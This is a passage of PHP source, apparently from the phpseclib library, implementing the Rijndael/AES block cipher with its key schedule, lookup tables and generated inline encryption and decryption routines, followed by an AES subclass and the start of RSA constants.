$this->key_length = 32; } parent::setKeyLength($length); } function setBlockLength($length) { $length >>= 5; if ($length > 8) { $length = 8; } elseif ($length < 4) { $length = 4; } $this->Nb = $length; $this->block_size = $length << 2; $this->changed = true; $this->_setEngine(); } function isValidEngine($engine) { switch ($engine) { case CRYPT_ENGINE_OPENSSL: if ($this->block_size != 16) { return false; } $this->cipher_name_openssl_ecb = 'aes-' . ($this->key_length << 3) . '-ecb'; $this->cipher_name_openssl = 'aes-' . ($this->key_length << 3) . '-' . $this->_openssl_translate_mode(); break; case CRYPT_ENGINE_MCRYPT: $this->cipher_name_mcrypt = 'rijndael-' . ($this->block_size << 3); if ($this->key_length % 8) { return false; } } return parent::isValidEngine($engine); } function _encryptBlock($in) { static $tables; if (empty($tables)) { $tables = &$this->_getTables(); } $t0 = $tables[0]; $t1 = $tables[1]; $t2 = $tables[2]; $t3 = $tables[3]; $sbox = $tables[4]; $state = array(); $words = unpack('N*', $in); $c = $this->c; $w = $this->w; $Nb = $this->Nb; $Nr = $this->Nr; $wc = $Nb - 1; foreach ($words as $word) { $state[] = $word ^ $w[++$wc]; } $temp = array(); for ($round = 1; $round < $Nr; ++$round) { $i = 0; $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $Nb) { $temp[$i] = $t0[$state[$i] >> 24 & 0x000000FF] ^ $t1[$state[$j] >> 16 & 0x000000FF] ^ $t2[$state[$k] >> 8 & 0x000000FF] ^ $t3[$state[$l] & 0x000000FF] ^ $w[++$wc]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; } for ($i = 0; $i < $Nb; ++$i) { $state[$i] = $sbox[$state[$i] & 0x000000FF] | ($sbox[$state[$i] >> 8 & 0x000000FF] << 8) | ($sbox[$state[$i] >> 16 & 0x000000FF] << 16) | ($sbox[$state[$i] >> 24 & 0x000000FF] << 24); } $i = 0; $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $Nb) { $temp[$i] = ($state[$i] & 0xFF000000) ^ ($state[$j] & 0x00FF0000) ^ ($state[$k] & 0x0000FF00) ^ ($state[$l] & 0x000000FF) ^ $w[$i]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } switch ($Nb) { case 8: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6], $temp[7]); case 7: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6]); case 6: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5]); case 5: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4]); default: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3]); } } function _decryptBlock($in) { static $invtables; if (empty($invtables)) { $invtables = &$this->_getInvTables(); } $dt0 = $invtables[0]; $dt1 = $invtables[1]; $dt2 = $invtables[2]; $dt3 = $invtables[3]; $isbox = $invtables[4]; $state = array(); $words = unpack('N*', $in); $c = $this->c; $dw = $this->dw; $Nb = $this->Nb; $Nr = $this->Nr; $wc = $Nb - 1; foreach ($words as $word) { $state[] = $word ^ $dw[++$wc]; } $temp = array(); for ($round = $Nr - 1; $round > 0; --$round) { $i = 0; $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while ($i < $Nb) { $temp[$i] = $dt0[$state[$i] >> 24 & 0x000000FF] ^ $dt1[$state[$j] >> 16 & 0x000000FF] ^ $dt2[$state[$k] >> 8 & 0x000000FF] ^ $dt3[$state[$l] & 0x000000FF] ^ $dw[++$wc]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; } $i = 0; $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while ($i < $Nb) { $word = ($state[$i] & 0xFF000000) | ($state[$j] & 0x00FF0000) | ($state[$k] & 0x0000FF00) | ($state[$l] & 0x000000FF); $temp[$i] = $dw[$i] ^ ($isbox[$word & 0x000000FF] | ($isbox[$word >> 8 & 0x000000FF] << 8) | ($isbox[$word >> 16 & 0x000000FF] << 16) | ($isbox[$word >> 24 & 0x000000FF] << 24)); ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } switch ($Nb) { case 8: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6], $temp[7]); case 7: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6]); case 6: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5]); case 5: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4]); default: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3]); } } function _setupKey() { static $rcon = array(0, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000, 0x6C000000, 0xD8000000, 0xAB000000, 0x4D000000, 0x9A000000, 0x2F000000, 0x5E000000, 0xBC000000, 0x63000000, 0xC6000000, 0x97000000, 0x35000000, 0x6A000000, 0xD4000000, 0xB3000000, 0x7D000000, 0xFA000000, 0xEF000000, 0xC5000000, 0x91000000 ); if (isset($this->kl['key']) && $this->key === $this->kl['key'] && $this->key_length === $this->kl['key_length'] && $this->block_size === $this->kl['block_size']) { return; } $this->kl = array('key' => $this->key, 'key_length' => $this->key_length, 'block_size' => $this->block_size); $this->Nk = $this->key_length >> 2; $this->Nr = max($this->Nk, $this->Nb) + 6; switch ($this->Nb) { case 4: case 5: case 6: $this->c = array(0, 1, 2, 3); break; case 7: $this->c = array(0, 1, 2, 4); break; case 8: $this->c = array(0, 1, 3, 4); } $w = array_values(unpack('N*words', $this->key)); $length = $this->Nb * ($this->Nr + 1); for ($i = $this->Nk; $i < $length; $i++) { $temp = $w[$i - 1]; if ($i % $this->Nk == 0) { $temp = (($temp << 8) & 0xFFFFFF00) | (($temp >> 24) & 0x000000FF); $temp = $this->_subWord($temp) ^ $rcon[$i / $this->Nk]; } elseif ($this->Nk > 6 && $i % $this->Nk == 4) { $temp = $this->_subWord($temp); } $w[$i] = $w[$i - $this->Nk] ^ $temp; } list($dt0, $dt1, $dt2, $dt3) = $this->_getInvTables(); $temp = $this->w = $this->dw = array(); for ($i = $row = $col = 0; $i < $length; $i++, $col++) { if ($col == $this->Nb) { if ($row == 0) { $this->dw[0] = $this->w[0]; } else { $j = 0; while ($j < $this->Nb) { $dw = $this->_subWord($this->w[$row][$j]); $temp[$j] = $dt0[$dw >> 24 & 0x000000FF] ^ $dt1[$dw >> 16 & 0x000000FF] ^ $dt2[$dw >> 8 & 0x000000FF] ^ $dt3[$dw & 0x000000FF]; $j++; } $this->dw[$row] = $temp; } $col = 0; $row++; } $this->w[$row][$col] = $w[$i]; } $this->dw[$row] = $this->w[$row]; $this->dw = array_reverse($this->dw); $w = array_pop($this->w); $dw = array_pop($this->dw); foreach ($this->w as $r => $wr) { foreach ($wr as $c => $wc) { $w[] = $wc; $dw[] = $this->dw[$r][$c]; } } $this->w = $w; $this->dw = $dw; } function _subWord($word) { static $sbox; if (empty($sbox)) { list(, , , , $sbox) = $this->_getTables(); } return $sbox[$word & 0x000000FF] | ($sbox[$word >> 8 & 0x000000FF] << 8) | ($sbox[$word >> 16 & 0x000000FF] << 16) | ($sbox[$word >> 24 & 0x000000FF] << 24); } function &_getTables() { static $tables; if (empty($tables)) { $t3 = array_map('intval', array( 0x6363A5C6, 0x7C7C84F8, 0x777799EE, 0x7B7B8DF6, 0xF2F20DFF, 0x6B6BBDD6, 0x6F6FB1DE, 0xC5C55491, 0x30305060, 0x01010302, 0x6767A9CE, 0x2B2B7D56, 0xFEFE19E7, 0xD7D762B5, 0xABABE64D, 0x76769AEC, 0xCACA458F, 0x82829D1F, 0xC9C94089, 0x7D7D87FA, 0xFAFA15EF, 0x5959EBB2, 0x4747C98E, 0xF0F00BFB, 0xADADEC41, 0xD4D467B3, 0xA2A2FD5F, 0xAFAFEA45, 0x9C9CBF23, 0xA4A4F753, 0x727296E4, 0xC0C05B9B, 0xB7B7C275, 0xFDFD1CE1, 0x9393AE3D, 0x26266A4C, 0x36365A6C, 0x3F3F417E, 0xF7F702F5, 0xCCCC4F83, 0x34345C68, 0xA5A5F451, 0xE5E534D1, 0xF1F108F9, 0x717193E2, 0xD8D873AB, 0x31315362, 0x15153F2A, 0x04040C08, 0xC7C75295, 0x23236546, 0xC3C35E9D, 0x18182830, 0x9696A137, 0x05050F0A, 0x9A9AB52F, 0x0707090E, 0x12123624, 0x80809B1B, 0xE2E23DDF, 0xEBEB26CD, 0x2727694E, 0xB2B2CD7F, 0x75759FEA, 0x09091B12, 0x83839E1D, 0x2C2C7458, 0x1A1A2E34, 0x1B1B2D36, 0x6E6EB2DC, 0x5A5AEEB4, 0xA0A0FB5B, 0x5252F6A4, 0x3B3B4D76, 0xD6D661B7, 0xB3B3CE7D, 0x29297B52, 0xE3E33EDD, 0x2F2F715E, 0x84849713, 0x5353F5A6, 0xD1D168B9, 0x00000000, 0xEDED2CC1, 0x20206040, 0xFCFC1FE3, 0xB1B1C879, 0x5B5BEDB6, 0x6A6ABED4, 0xCBCB468D, 0xBEBED967, 0x39394B72, 0x4A4ADE94, 0x4C4CD498, 0x5858E8B0, 0xCFCF4A85, 0xD0D06BBB, 0xEFEF2AC5, 0xAAAAE54F, 0xFBFB16ED, 0x4343C586, 0x4D4DD79A, 0x33335566, 0x85859411, 0x4545CF8A, 0xF9F910E9, 0x02020604, 0x7F7F81FE, 0x5050F0A0, 0x3C3C4478, 0x9F9FBA25, 0xA8A8E34B, 0x5151F3A2, 0xA3A3FE5D, 0x4040C080, 0x8F8F8A05, 0x9292AD3F, 0x9D9DBC21, 0x38384870, 0xF5F504F1, 0xBCBCDF63, 0xB6B6C177, 0xDADA75AF, 0x21216342, 0x10103020, 0xFFFF1AE5, 0xF3F30EFD, 0xD2D26DBF, 0xCDCD4C81, 0x0C0C1418, 0x13133526, 0xECEC2FC3, 0x5F5FE1BE, 0x9797A235, 0x4444CC88, 0x1717392E, 0xC4C45793, 0xA7A7F255, 0x7E7E82FC, 0x3D3D477A, 0x6464ACC8, 0x5D5DE7BA, 0x19192B32, 0x737395E6, 0x6060A0C0, 0x81819819, 0x4F4FD19E, 0xDCDC7FA3, 0x22226644, 0x2A2A7E54, 0x9090AB3B, 0x8888830B, 0x4646CA8C, 0xEEEE29C7, 0xB8B8D36B, 0x14143C28, 0xDEDE79A7, 0x5E5EE2BC, 0x0B0B1D16, 0xDBDB76AD, 0xE0E03BDB, 0x32325664, 0x3A3A4E74, 0x0A0A1E14, 0x4949DB92, 0x06060A0C, 0x24246C48, 0x5C5CE4B8, 0xC2C25D9F, 0xD3D36EBD, 0xACACEF43, 0x6262A6C4, 0x9191A839, 0x9595A431, 0xE4E437D3, 0x79798BF2, 0xE7E732D5, 0xC8C8438B, 0x3737596E, 0x6D6DB7DA, 0x8D8D8C01, 0xD5D564B1, 0x4E4ED29C, 0xA9A9E049, 0x6C6CB4D8, 0x5656FAAC, 0xF4F407F3, 0xEAEA25CF, 0x6565AFCA, 0x7A7A8EF4, 0xAEAEE947, 0x08081810, 0xBABAD56F, 0x787888F0, 0x25256F4A, 0x2E2E725C, 0x1C1C2438, 0xA6A6F157, 0xB4B4C773, 0xC6C65197, 0xE8E823CB, 0xDDDD7CA1, 0x74749CE8, 0x1F1F213E, 0x4B4BDD96, 0xBDBDDC61, 0x8B8B860D, 0x8A8A850F, 0x707090E0, 0x3E3E427C, 0xB5B5C471, 0x6666AACC, 0x4848D890, 0x03030506, 0xF6F601F7, 0x0E0E121C, 0x6161A3C2, 0x35355F6A, 0x5757F9AE, 0xB9B9D069, 0x86869117, 0xC1C15899, 0x1D1D273A, 0x9E9EB927, 0xE1E138D9, 0xF8F813EB, 0x9898B32B, 0x11113322, 0x6969BBD2, 0xD9D970A9, 0x8E8E8907, 0x9494A733, 0x9B9BB62D, 0x1E1E223C, 0x87879215, 0xE9E920C9, 0xCECE4987, 0x5555FFAA, 0x28287850, 0xDFDF7AA5, 0x8C8C8F03, 0xA1A1F859, 0x89898009, 0x0D0D171A, 0xBFBFDA65, 0xE6E631D7, 0x4242C684, 0x6868B8D0, 0x4141C382, 0x9999B029, 0x2D2D775A, 0x0F0F111E, 0xB0B0CB7B, 0x5454FCA8, 0xBBBBD66D, 0x16163A2C )); foreach ($t3 as $t3i) { $t0[] = (($t3i << 24) & 0xFF000000) | (($t3i >> 8) & 0x00FFFFFF); $t1[] = (($t3i << 16) & 0xFFFF0000) | (($t3i >> 16) & 0x0000FFFF); $t2[] = (($t3i << 8) & 0xFFFFFF00) | (($t3i >> 24) & 0x000000FF); } $tables = array( $t0, $t1, $t2, $t3, array( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 ) ); } return $tables; } function &_getInvTables() { static $tables; if (empty($tables)) { $dt3 = array_map('intval', array( 0xF4A75051, 0x4165537E, 0x17A4C31A, 0x275E963A, 0xAB6BCB3B, 0x9D45F11F, 0xFA58ABAC, 0xE303934B, 0x30FA5520, 0x766DF6AD, 0xCC769188, 0x024C25F5, 0xE5D7FC4F, 0x2ACBD7C5, 0x35448026, 0x62A38FB5, 0xB15A49DE, 0xBA1B6725, 0xEA0E9845, 0xFEC0E15D, 0x2F7502C3, 0x4CF01281, 0x4697A38D, 0xD3F9C66B, 0x8F5FE703, 0x929C9515, 0x6D7AEBBF, 0x5259DA95, 0xBE832DD4, 0x7421D358, 0xE0692949, 0xC9C8448E, 0xC2896A75, 0x8E7978F4, 0x583E6B99, 0xB971DD27, 0xE14FB6BE, 0x88AD17F0, 0x20AC66C9, 0xCE3AB47D, 0xDF4A1863, 0x1A3182E5, 0x51336097, 0x537F4562, 0x6477E0B1, 0x6BAE84BB, 0x81A01CFE, 0x082B94F9, 0x48685870, 0x45FD198F, 0xDE6C8794, 0x7BF8B752, 0x73D323AB, 0x4B02E272, 0x1F8F57E3, 0x55AB2A66, 0xEB2807B2, 0xB5C2032F, 0xC57B9A86, 0x3708A5D3, 0x2887F230, 0xBFA5B223, 0x036ABA02, 0x16825CED, 0xCF1C2B8A, 0x79B492A7, 0x07F2F0F3, 0x69E2A14E, 0xDAF4CD65, 0x05BED506, 0x34621FD1, 0xA6FE8AC4, 0x2E539D34, 0xF355A0A2, 0x8AE13205, 0xF6EB75A4, 0x83EC390B, 0x60EFAA40, 0x719F065E, 0x6E1051BD, 0x218AF93E, 0xDD063D96, 0x3E05AEDD, 0xE6BD464D, 0x548DB591, 0xC45D0571, 0x06D46F04, 0x5015FF60, 0x98FB2419, 0xBDE997D6, 0x4043CC89, 0xD99E7767, 0xE842BDB0, 0x898B8807, 0x195B38E7, 0xC8EEDB79, 0x7C0A47A1, 0x420FE97C, 0x841EC9F8, 0x00000000, 0x80868309, 0x2BED4832, 0x1170AC1E, 0x5A724E6C, 0x0EFFFBFD, 0x8538560F, 0xAED51E3D, 0x2D392736, 0x0FD9640A, 0x5CA62168, 0x5B54D19B, 0x362E3A24, 0x0A67B10C, 0x57E70F93, 0xEE96D2B4, 0x9B919E1B, 0xC0C54F80, 0xDC20A261, 0x774B695A, 0x121A161C, 0x93BA0AE2, 0xA02AE5C0, 0x22E0433C, 0x1B171D12, 0x090D0B0E, 0x8BC7ADF2, 0xB6A8B92D, 0x1EA9C814, 0xF1198557, 0x75074CAF, 0x99DDBBEE, 0x7F60FDA3, 0x01269FF7, 0x72F5BC5C, 0x663BC544, 0xFB7E345B, 0x4329768B, 0x23C6DCCB, 0xEDFC68B6, 0xE4F163B8, 0x31DCCAD7, 0x63851042, 0x97224013, 0xC6112084, 0x4A247D85, 0xBB3DF8D2, 0xF93211AE, 0x29A16DC7, 0x9E2F4B1D, 0xB230F3DC, 0x8652EC0D, 0xC1E3D077, 0xB3166C2B, 0x70B999A9, 0x9448FA11, 0xE9642247, 0xFC8CC4A8, 0xF03F1AA0, 0x7D2CD856, 0x3390EF22, 0x494EC787, 0x38D1C1D9, 0xCAA2FE8C, 0xD40B3698, 0xF581CFA6, 0x7ADE28A5, 0xB78E26DA, 0xADBFA43F, 0x3A9DE42C, 0x78920D50, 0x5FCC9B6A, 0x7E466254, 0x8D13C2F6, 0xD8B8E890, 0x39F75E2E, 0xC3AFF582, 0x5D80BE9F, 0xD0937C69, 0xD52DA96F, 0x2512B3CF, 0xAC993BC8, 0x187DA710, 0x9C636EE8, 0x3BBB7BDB, 0x267809CD, 0x5918F46E, 0x9AB701EC, 0x4F9AA883, 0x956E65E6, 0xFFE67EAA, 0xBCCF0821, 0x15E8E6EF, 0xE79BD9BA, 0x6F36CE4A, 0x9F09D4EA, 0xB07CD629, 0xA4B2AF31, 0x3F23312A, 0xA59430C6, 0xA266C035, 0x4EBC3774, 0x82CAA6FC, 0x90D0B0E0, 0xA7D81533, 0x04984AF1, 0xECDAF741, 0xCD500E7F, 0x91F62F17, 0x4DD68D76, 0xEFB04D43, 0xAA4D54CC, 0x9604DFE4, 0xD1B5E39E, 0x6A881B4C, 0x2C1FB8C1, 0x65517F46, 0x5EEA049D, 0x8C355D01, 0x877473FA, 0x0B412EFB, 0x671D5AB3, 0xDBD25292, 0x105633E9, 0xD647136D, 0xD7618C9A, 0xA10C7A37, 0xF8148E59, 0x133C89EB, 0xA927EECE, 0x61C935B7, 0x1CE5EDE1, 0x47B13C7A, 0xD2DF599C, 0xF2733F55, 0x14CE7918, 0xC737BF73, 0xF7CDEA53, 0xFDAA5B5F, 0x3D6F14DF, 0x44DB8678, 0xAFF381CA, 0x68C43EB9, 0x24342C38, 0xA3405FC2, 0x1DC37216, 0xE2250CBC, 0x3C498B28, 0x0D9541FF, 0xA8017139, 0x0CB3DE08, 0xB4E49CD8, 0x56C19064, 0xCB84617B, 0x32B670D5, 0x6C5C7448, 0xB85742D0 )); foreach ($dt3 as $dt3i) { $dt0[] = (($dt3i << 24) & 0xFF000000) | (($dt3i >> 8) & 0x00FFFFFF); $dt1[] = (($dt3i << 16) & 0xFFFF0000) | (($dt3i >> 16) & 0x0000FFFF); $dt2[] = (($dt3i << 8) & 0xFFFFFF00) | (($dt3i >> 24) & 0x000000FF); }; $tables = array( $dt0, $dt1, $dt2, $dt3, array( 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D ) ); } return $tables; } function _setupInlineCrypt() { $lambda_functions =& Crypt_Rijndael::_getLambdaFunctions(); $gen_hi_opt_code = (bool)(count($lambda_functions) < 10); $code_hash = "Crypt_Rijndael, {$this->mode}, {$this->Nr}, {$this->Nb}"; if ($gen_hi_opt_code) { $code_hash = str_pad($code_hash, 32) . $this->_hashInlineCryptFunction($this->key); } if (!isset($lambda_functions[$code_hash])) { switch (true) { case $gen_hi_opt_code: $w = $this->w; $dw = $this->dw; $init_encrypt = ''; $init_decrypt = ''; break; default: for ($i = 0, $cw = count($this->w); $i < $cw; ++$i) { $w[] = '$w[' . $i . ']'; $dw[] = '$dw[' . $i . ']'; } $init_encrypt = '$w = $self->w;'; $init_decrypt = '$dw = $self->dw;'; } $Nr = $this->Nr; $Nb = $this->Nb; $c = $this->c; $init_encrypt.= ' static $tables; if (empty($tables)) { $tables = &$self->_getTables(); } $t0 = $tables[0]; $t1 = $tables[1]; $t2 = $tables[2]; $t3 = $tables[3]; $sbox = $tables[4]; '; $s = 'e'; $e = 's'; $wc = $Nb - 1; $encrypt_block = '$in = unpack("N*", $in);'."
"; for ($i = 0; $i < $Nb; ++$i) { $encrypt_block .= '$s'.$i.' = $in['.($i + 1).'] ^ '.$w[++$wc].";
"; } for ($round = 1; $round < $Nr; ++$round) { list($s, $e) = array($e, $s); for ($i = 0; $i < $Nb; ++$i) { $encrypt_block.= '$'.$e.$i.' = $t0[($'.$s.$i .' >> 24) & 0xff] ^ $t1[($'.$s.(($i + $c[1]) % $Nb).' >> 16) & 0xff] ^ $t2[($'.$s.(($i + $c[2]) % $Nb).' >> 8) & 0xff] ^ $t3[ $'.$s.(($i + $c[3]) % $Nb).' & 0xff] ^ '.$w[++$wc].";
"; } } for ($i = 0; $i < $Nb; ++$i) { $encrypt_block.= '$'.$e.$i.' = $sbox[ $'.$e.$i.' & 0xff] | ($sbox[($'.$e.$i.' >> 8) & 0xff] << 8) | ($sbox[($'.$e.$i.' >> 16) & 0xff] << 16) | ($sbox[($'.$e.$i.' >> 24) & 0xff] << 24);'."
"; } $encrypt_block .= '$in = pack("N*"'."
"; for ($i = 0; $i < $Nb; ++$i) { $encrypt_block.= ', ($'.$e.$i .' & '.((int)0xFF000000).') ^ ($'.$e.(($i + $c[1]) % $Nb).' & 0x00FF0000 ) ^ ($'.$e.(($i + $c[2]) % $Nb).' & 0x0000FF00 ) ^ ($'.$e.(($i + $c[3]) % $Nb).' & 0x000000FF ) ^ '.$w[$i]."
"; } $encrypt_block .= ');'; $init_decrypt.= ' static $invtables; if (empty($invtables)) { $invtables = &$self->_getInvTables(); } $dt0 = $invtables[0]; $dt1 = $invtables[1]; $dt2 = $invtables[2]; $dt3 = $invtables[3]; $isbox = $invtables[4]; '; $s = 'e'; $e = 's'; $wc = $Nb - 1; $decrypt_block = '$in = unpack("N*", $in);'."
"; for ($i = 0; $i < $Nb; ++$i) { $decrypt_block .= '$s'.$i.' = $in['.($i + 1).'] ^ '.$dw[++$wc].';'."
"; } for ($round = 1; $round < $Nr; ++$round) { list($s, $e) = array($e, $s); for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.= '$'.$e.$i.' = $dt0[($'.$s.$i .' >> 24) & 0xff] ^ $dt1[($'.$s.(($Nb + $i - $c[1]) % $Nb).' >> 16) & 0xff] ^ $dt2[($'.$s.(($Nb + $i - $c[2]) % $Nb).' >> 8) & 0xff] ^ $dt3[ $'.$s.(($Nb + $i - $c[3]) % $Nb).' & 0xff] ^ '.$dw[++$wc].";
"; } } for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.= '$'.$e.$i.' = $isbox[ $'.$e.$i.' & 0xff] | ($isbox[($'.$e.$i.' >> 8) & 0xff] << 8) | ($isbox[($'.$e.$i.' >> 16) & 0xff] << 16) | ($isbox[($'.$e.$i.' >> 24) & 0xff] << 24);'."
"; } $decrypt_block .= '$in = pack("N*"'."
"; for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.= ', ($'.$e.$i. ' & '.((int)0xFF000000).') ^ ($'.$e.(($Nb + $i - $c[1]) % $Nb).' & 0x00FF0000 ) ^ ($'.$e.(($Nb + $i - $c[2]) % $Nb).' & 0x0000FF00 ) ^ ($'.$e.(($Nb + $i - $c[3]) % $Nb).' & 0x000000FF ) ^ '.$dw[$i]."
"; } $decrypt_block .= ');'; $lambda_functions[$code_hash] = $this->_createInlineCryptFunction( array( 'init_crypt' => '', 'init_encrypt' => $init_encrypt, 'init_decrypt' => $init_decrypt, 'encrypt_block' => $encrypt_block, 'decrypt_block' => $decrypt_block ) ); } $this->inline_crypt = $lambda_functions[$code_hash]; } } define('CRYPT_AES_MODE_CTR', CRYPT_MODE_CTR); define('CRYPT_AES_MODE_ECB', CRYPT_MODE_ECB); define('CRYPT_AES_MODE_CBC', CRYPT_MODE_CBC); define('CRYPT_AES_MODE_CFB', CRYPT_MODE_CFB); define('CRYPT_AES_MODE_OFB', CRYPT_MODE_OFB); class Crypt_AES extends Crypt_Rijndael { var $const_namespace = 'AES'; function setBlockLength($length) { return; } function setKeyLength($length) { switch ($length) { case 160: $length = 192; break; case 224: $length = 256; } parent::setKeyLength($length); } function setKey($key) { parent::setKey($key); if (!$this->explicit_key_length) { $length = strlen($key); switch (true) { case $length <= 16: $this->key_length = 16; break; case $length <= 24: $this->key_length = 24; break; default: $this->key_length = 32; } $this->_setEngine(); } } } if (!function_exists('crypt_random_string')) { include_once 'Random.php'; } if (!class_exists('Crypt_Hash')) { include_once 'Hash.php'; } define('CRYPT_RSA_ENCRYPTION_OAEP', 1); define('CRYPT_RSA_ENCRYPTION_PKCS1', 2); define('CRYPT_RSA_ENCRYPTION_NONE', 3); 